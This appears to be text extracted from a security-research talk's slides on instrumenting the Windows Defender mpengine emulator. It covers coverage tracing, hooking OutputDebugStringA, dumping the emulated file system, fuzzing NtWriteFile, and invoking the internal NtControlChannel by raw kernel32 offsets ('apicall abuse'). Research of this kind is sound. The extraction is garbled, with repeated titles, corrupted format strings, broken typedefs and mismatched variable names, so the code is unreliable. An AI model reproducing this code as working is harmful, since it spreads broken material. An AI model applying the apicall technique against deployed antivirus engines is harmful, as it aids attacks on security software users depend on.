Collect coverage information

___rsignal(..., RSIG_BOOTENGINE, ...)

___rsignal(..., RSIG_SCAN_STREAMBUFFER, ...)

Engine Startup | Initial Scan | Emulator Startup | Binary Emulation | Emulator Teardown

---

Diagram:

- Engine Startup
- Initial Scan
- Emulator Startup
- Binary Emulation
- Emulator Teardown
- Collect coverage information
- __rsignal(..., RSIG_BOOTENGINE, ...)
- __rsignal(..., RSIG_SCAN_STREAMBUFFER, ...)

---

Legend:
- Red: Important events
- Green: Data flow
- Blue: Function calls
$ cat ./trace.sh
#!/bin/sh
CMD="cov/pin -t cov/pin-mp/obj-ia32/CodeCoverage.so -- ./mpclient -v 218 -f ./test.exe -z 3"

echo $CMD
eval $CMD
Pintool Tracing

```
$ ./trace.sh
cov/pin -t cov/pin-mp/obj-ia32/CodeCoverage.so -- ./mpclient -v 218 -f ./test.exe -z 3
CodeCoverage tool by Agustín Gianni (agustingianni@gmail.com)
Logging code coverage information to: trace.log
Loaded image: 0x0000000008048000:0x0000000008069ca7 -> mpclient
  [P] Found CovInitTraceCallback
  [P] Found CovStopTraceExitProcessCallback
Loaded image: 0x000000000f7fd9000:0x000000000f7ffafd3 -> ld-linux.so.2
Loaded image: 0x000000000f7fd8000:0x000000000f7fd8c2e -> [vdso]
Loaded image: 0x000000000f543d000:0x000000000f55f2a1b -> libc.so.6
  [x] Log level set to S_UPDATE
  [x] Initial seed set to 0x5b0b0546 (1527448902)
  [x] Version set to 218
  [x] Running once
  [x] NumberRuns: 1
  [x] Function #3 - WriteFile
  [[]]
  [[]] ==> MpEngine.dll base at 0xf39df008
  [[]]
  [[]]
  [[]] ==> Logging to file seeds/seeds-1527448902
```
Loading Coverage File
Demo
Hooking
OutputDebugStringA
Hooking OutputDebugStringA

```c
// WinExec
pWinExec = imgRVA(pRvas->RVA_FP_WinExec);
elog(S_DEBUG_VV, "WinExec:\x00\x86x @ \x00", pRvas->RVA_FP_WinExec, *(pWinExec));

// OutputDebugString
pOutputDebugStringA = imgRVA(pRvas->RVA_FP_OutputDebugStringA);
elog(S_DEBUG_VV, "OutputDebugStringA:\x00\x86x @ \x00", pRvas->RVA_FP_OutputDebugStringA, *(pOutputDebugStringA));

// ExitProcess
pExitProcess = imgRVA(pRvas->RVA_FP.ExitProcess);
OriginalExitProcess = (EmulatedFunctionRoutine)pExitProcess;
elog(S_DEBUG_VV, "ExitProcess:\x00\x86x @ \x00", pRvas->RVA_FP.ExitProcess, *(pExitProcess));

// Original ExitProcess
OriginalExitProcess = (EmulatedFunctionRoutine)pExitProcess;
elog(S_DEBUG_VV, "ExitProcess:\x00\x86x @ \x00", pRvas->RVA_FP.ExitProcess, *(pExitProcess));
```

Remember there are two ExitProcess pointers in syscall_table – but the hooked one seems to be the one.
Hooking OutputDebugStringA

```c
.RVA_pe_set_return_value = 0x3ce699,

// Functions to be hooked
.RVA_FP_OutputDebugStringA = 0x19df0,
.RVA_FP.ExitProcess = 0x19e28,
.RVA_FP.WinExec = 0x19e80,
};

RVAS rvasFeb2018 = {
    .MPVERNO = "MP_2.23_2018",

    // Parameter functions
    .RVA_Parameters1 = 0x4942b5,
    .RVA_Parameters2 = 0x46661b,
    .RVA_Parameters3 = 0x466fbf,
    .RVA_Parameters4 = 0x46559d,
    .RVA_Parameters5 = 0x46407a,
    .RVA_Parameters6 = 0x4e6037,
    .RVA_Parameters7 = 0x39f669,
    .RVA_Parameters8 = 0x460e70,
    .RVA_Parameters9 = 0x4e0a23,

    // PE state manipulation
    .RVA__mmap_ex = 0x36f580,
    .RVA_pe_read_string_ex = 0x3b8723,
    .RVA_pe_set_return_value = 0x465af,

    // Functions to be hooked
    .RVA_FP_OutputDebugStringA = 0x1abc0,
    .RVA_FP.ExitProcess = 0x1abf8,
    .RVA_FP.WinExec = 0x1ac50,
};
```
int entrypoint()
{
    OutputDebugStringA("Hello from inside Windows Defender!");
}
Hooking OutputDebugStringA

```bash
#!/bin/sh

MPVERNO="218"

CMD="./mpclient -v $MPVERNO -f ./test.exe $@

echo Running MP $MPVERNO
echo $CMD
eval $CMD
```
Hooking OutputDebugStringA

```
$ ./run.sh -z 3
Running MP 218
./mpclient -v 218 -f ./test.exe -z 3
[x] Log level set to S_UPDATE
[x] Initial seed set to 0x5b0b0a9f (1527450271)
[x] Version set to 218
[x] Running once
[x] NumberRuns: 1
[x] Function #3 - WriteFile
[!]
[!] ==> MpEngine.dll base at 0xf67a3008
[!]
[!]
[!] ==> Logging to file seeds/seeds-1527450271
[!]
[+] Setting Hooks
[+] Hooks Set!
main(): Calling DllMain()
main(): DllMain done!
main(): Booting Engine!
main(): Engine booted!
main(): Scanning ./test.exe...
[T] ReadStream 0 1000
[T] ReadStream 2000 1800
EngineScanCallback(): Scanning input
[T] ReadStream 1000 2000
[+] ODS: "Hello from inside Windows Defender!"
$  
```
Demo

Dumping The File System
Dumping The File System

```bash
$ cat run-demo-3-dumpfs.sh
#!/bin/sh

MPVERNO="218"

CMD="./mpclient -v $MPVERNO -f myapp.exe -z 12 $@

echo Running MP $MPVERNO
echo $CMD
eval $CMD
$ 
```
Dumping The File System

[!] ODS: "C:\\WINDOWS\\FONTS"
[E] C:\\WINDOWS\\FONTS, mplay32.exe,
[+] ODS: "C:\\WINDOWS\\SYSTEM32\mplay32.exe"
[+] ODS: "In DumpFile"
[+] Got OutBuf C:\\WINDOWS\\SYSTEM32\mplay32.exe: 0x18c010, len 0x1
[!] ==> fwrite() wrote 1 of 1 to dumpfs/C:\\WINDOWS\\SYSTEM32\mplay32.exe
[!] ODS: "C:\\WINDOWS\\FONTS"
[E] C:\\WINDOWS\\FONTS, mpnotify.exe,
[+] ODS: "C:\\WINDOWS\\SYSTEM32\mpnotify.exe"
[+] ODS: "In DumpFile"
[+] Got OutBuf C:\\WINDOWS\\SYSTEM32\mpnotify.exe: 0x18c128, len 0x1
[!] ==> fwrite() wrote 1 of 1 to dumpfs/C:\\WINDOWS\\SYSTEM32\mpnotify.exe
[!] ODS: "C:\\WINDOWS\\FONTS"
[E] C:\\WINDOWS\\FONTS, mqbkup.exe,
[+] ODS: "C:\\WINDOWS\\SYSTEM32\mqbkup.exe"
[+] ODS: "In DumpFile"
Dumping The File System

[+] ODS: "In DumpFile"
[+] Got OutBuf C:\\Documents and Settings\\JohnDoe\\Local Settings\\Application Data\\Microsoft\\Windows\__empty: 0x1ae570, len 0x1
[!]
[!] ==> fwrite() wrote 1 of 1 to dumpfs/C:\\Documents and Settings\\JohnDoe\\Local Settings\\Application Data\\Microsoft\\Windows\__empty
[!]
[+] ODS: "C:\\Documents and Settings\\Administrator\\Local Settings\\Application Data\\Microsoft\\CD Burning"
[E] NULL, __empty,
[+] ODS: "C:\\Documents and Settings\\Administrator\\Local Settings\\Application Data\\Microsoft\\CD Burning\__empty"
[+] ODS: "In DumpFile"
[+] Got OutBuf C:\\Documents and Settings\\Administrator\\Local Settings\\Application Data\\Microsoft\\CD Burning\__empty: 0x1ae758, len 0x1
[!]
[!] ==> fwrite() wrote 1 of 1 to dumpfs/C:\\Documents and Settings\\Administrator\\Local Settings\\Application Data\\Microsoft\\CD Burning\__empty
[!]
[+] ODS: ""
[+] ODS: "Done with FS dump!"
$
Dumping The File System

$ ls dumpfs/
Dumping The File System

C:\WINDOWS\SYSTEM32\z_863.nls
C:\WINDOWS\SYSTEM32\z_865.nls
C:\WINDOWS\SYSTEM32\z_866.nls
C:\WINDOWS\SYSTEM32\z_869.nls
C:\WINDOWS\SYSTEM32\z_874.nls
C:\WINDOWS\SYSTEM32\z_875.nls
C:\WINDOWS\SYSTEM32\z_932.nls
C:\WINDOWS\SYSTEM32\z_936.nls
C:\WINDOWS\SYSTEM32\z_949.nls
C:\WINDOWS\SYSTEM32\z_950.nls
C:\WINDOWS\SYSTEM32\ZIPFLDR.DLL
C:\WINDOWS\System\__empty
C:\WINDOWS\system.ini
C:\WINDOWS\taskman.exe
C:\WINDOWS\TEMP\__empty
C:\WINDOWS\TWAIN_32.DLL
C:\WINDOWS\TWAIN.DLL
C:\WINDOWS\twunk_16.exe
C:\WINDOWS\twunk_32.exe
C:\WINDOWS\Web\__empty
C:\WINDOWS\winhelp.exe
C:\WINDOWS\winhlp32.exe
Dumping The File System

$ ls dumpfs/ | wc -l
1457
$
Demo

Disassembling `apicall`
Disassembling \texttt{apicall}
Disassembling `apicall`
Demo

Fuzzing NtWriteFile
Void Fuzz NtWriteFile(PFUZZPARAM pFuzzParam)
{

NTSTATUS NtWriteFile
(
HANDLE hFile,
HANDLE hEvent,
PIO_APC_ROUTINE apc,
void* apc_user,
PIO_STATUS_BLOCK io_status,
const void* buffer,
ULONG length,
PLARGE_INTEGER offset,
PULONG key
)
;

HANDLE hFile;
HMODULE ntdll;

typedef NTSTATUS(NTAPI *PNtWriteFile)(
HANDLE,
HANDLE,
PVOID,
PVOID,
PIO_STATUS_BLOCK,
PVOID,
ULONG,
PLARGE_INTEGER,
PULONG);

PNtWriteFile nWriteFile;
Fuzzing **NtWriteFile**

```c
// Fuzzing NtWriteFile

OutputDebugStringA("Fuzz NtWriteFile");

ntdll = LoadLibraryA("ntdll.dll");
DIEIFNULL(ntdll, "Could not get ntdll");

ntWriteFile = (PFNWriteFile)GetProcAddress(ntdll, "NtWriteFile");
DIEIFNULL(ntWriteFile, "Could not get ntWriteFile!");

ConfigureFuzzParam(pFuzzParam, 4, "ntdll!NtWriteFile");

// for the filename
pFuzzParam->Params[0].InitParam = 0x1000;
pFuzzParam->Params[0].RawParam = (uint32_t)Alloc(0x1000);
pFuzzParam->Params[0].Type = ParamTypeString;

// lpBuffer
pFuzzParam->Params[1].InitParam = 0x1000;
pFuzzParam->Params[1].RawParam = (uint32_t)Alloc(0x1000);
pFuzzParam->Params[1].Type = ParamTypeString;

// length
pFuzzParam->Params[2].Type = ParamTypeDWORD32;

// offset
pFuzzParam->Params[3].Type = ParamTypeQWORD64;

// number of bytes written
LARGE_INTEGER lInt = { 0 };
IO_STATUS_BLOCK iostatus = { 0 };

do {
```
Fuzzing NtWriteFile

```c
IO_STATUS_BLOCK iostatus = { 0 };

do {
    GetFuzzParams(pFuzzParam);

    hfile = CreateFileA(
        (LPCSTR)pFuzzParam->Params[0].RawParam,
        GENERIC_ALL,
        0,
        NULL,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        FatalError("Could not open file");
    }

    lInt.QuadPart = pFuzzParam->Params[3].RawParam;

    NtWriteFile(hfile,
                NULL,
                NULL,
                NULL,
                &iostatus,
                ( PVOID)pFuzzParam->Params[1].RawParam,
                ( ULONG)pFuzzParam->Params[2].RawParam,
                &lInt,
                NULL);

    GetFuzzParams(pFuzzParam);
```
Fuzzing NtWriteFile

```c
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308

GetFuzzParams(pFuzzParam);

lInt.QuadPart = pFuzzParam->Params[1].RawParam;

NtWriteFile(hFile,
    NULL,
    NULL,
    NULL,
    &IoStatus,
    ( PVOID )pFuzzParam->Params[1].RawParam,
    ( ULONG )pFuzzParam->Params[1].RawParam,
    &lInt,
    NULL);

CloseHandle(hFile);
}

while (g_loopInfinite);

OutputDebugStringA("NtWriteFile DONE");
```
Fuzzing NtWriteFile

$ ./run.sh -z 4
Running MP 218
./mpclient -v 218 -f ./test.exe -z 4
[x] Log level set to S_UPDATE
[x] Initial seed set to 0x5b0b0cca (1527450826)
[x] Version set to 218
[x] Running once
[x] NumberRuns: 1
[x] Function #4 - NtWriteFile
[!]  ==> MpEngine.dll base at 0xf67a3008
[!]  ==> Logging to file seeds/seeds-1527450826
[!]  Setting Hooks
[+] Hooks Set!
main(): Calling DllMain()
main(): DllMain done!
main(): Booting Engine!
Fuzzing NtWriteFile

[[] WinExec
[v] Params[2]: 0x12fe14 0x2
[v] V: 0xf7b0b00c
[v] GetParam
[*] GetFuzzParam!
[-] fuzzParam 0xed27fa94
[-] fuzzParam->NumParams 4
[-] fuzzParam->FunctionName: ntdll!NtWriteFile
[-] fuzzParam->LastReturnValue: 0x0
[*] 0 STRING RawParam: 0x143e08 foobar.txt
[*] 1 STRING RawParam: 0x144e18 foobar.txt
[*] 2 DWORD RawParam: 0x20
[*] 3 QWORD RawParam: 0xffffffffffffffff
[*] RawParams end
[-] RES: 0
[.] WinExec DONE

[.] WinExec
[v] Params[2]: 0x12fe14 0x2
[v] V: 0xf7b0b00c
[v] GetParam
[*] GetFuzzParam!
[-] fuzzParam 0xed27fa94
[-] fuzzParam->NumParams 4
[-] fuzzParam->FunctionName: ntdll!NtWriteFile
[-] fuzzParam->LastReturnValue: 0x0
[*] 0 STRING RawParam: 0x143e08 foobar.txt
[*] 1 STRING RawParam: 0x144e18 foobar.txt
[*] 2 DWORD RawParam: 0x100
apicall Abuse - OutputDebugStringA

```c
/*
 kernel32.dll vdid +0x16d4e
 .text:7C816D4E          sub_7C816D4E  proc near
 .text:7C816D4E  8B FF      mov    edi, edi
 .text:7C816D50  E8 00 00 00 00   call    $+5
 .text:7C816D55  83 C4 04      add    esp, 4
 .text:7C816D58  0F FF F0 BB 14 00 02         apicall kernel32!OutputDebugStringA
 .text:7C816D5E  C2 04 00      retn    4
 .text:7C816D5F
 */

typedef void("ODS)(char *);

MODULE k32base = LoadLibraryA("kernel32.dll");
ODS apicallODS = (ODS)((BYTE*)k32base + 0x16d4e);
apicallODS(msg);

int entrypoint()
{
    /*
     * these will only be visible if you have some kind of instrumentation on the OutputDebugStringA
     * emulation in the engine. Both will reach mpengine!KERNEL32_DLL_OutputDebugStringA.
     *
     * OutputDebugStringA("OutputDebugStringA the normal way");
     * OutputDebugStringA_APICALL("OutputDebugStringA via ret2apicall");
     *
     * //call NtControlChannel via apicall - shouldn't be able to do this
     * NtControlChannel_APICALL();
     *
     * return 0;
     */
}
```
apicall **Abuse** - NtControlChannel

```c
/*
kernel32.dll vdll +0x52004
.text:7C852004 sub_7C852004 proc near ; CODE XREF: MpStartProcess+123F
.text:7C852004 ; MpStartProcess+18FD p ...
.text:7C852004 88 FF mov edi, edi
.text:7C852006 E8 00 00 00 00 call $+5
.text:7C852008 83 C4 04 add esp, 4
.text:7C85200E 0F FF F0 FD 9E 93 apicall ntdll!NtControlChannel
.text:7C852015 C2 08 00 retn 8
.text:7C852015 sub_7C852004 endp */

VOID NtControlChannel_APICALL()
{
    typedef DWORD("NTCC)(DWORD, void *");
    HMODULE k32base = LoadLibraryA("kernel32.dll");
    NTCC apicallNTCC = (NTCC)((BYTE*)k32base + 0x52004);
    DWORD VersionNumber;

    // NtControlChannel(0x3, &VersionNumber)
    // When called with information class 0x3, NtControlChannel returns mpengine.dll version,
    // in this case, 14600. Ignore result
    apicallNTCC(0x3, &VersionNumber);

    if (VersionNumber == 14600)
    {
        OutputDebugStringA("Version number matches 14600");
    }
}
```
apicall Abuse - OutputDebugStringA

$ ./runapi.sh -z 0
Running MP 218
./mpclient -v 218 -f ./ret2api.exe -z 0
[x] Log level set to S_UPDATE
[x] Initial seed set to 0x5b0b112a (1527451946)
[x] Version set to 218
[x] Running once
[x] NumberRuns: 1
[x] Function #0 - Fuzz_GenericRegressionTest
[]
[]=> MpEngine.dll base at 0xf67a3008
[]
[]
[]=> Logging to file seeds/seeds-1527451946
[]
[+]
[+]
main(): Calling DllMain()
main(): DllMain done!
main(): Booting Engine!
main(): Engine booted!
main(): Scanning ./ret2api.exe...
[T] ReadStream 0 e00
EngineScanCallback(): Scanning input
[+]
[+]
[+]
[+] ODS: "OutputDebugStringA the normal way"
[+] ODS: "OutputDebugStringA via ret2apicall"
[+] ODS: "Version number matches 14600"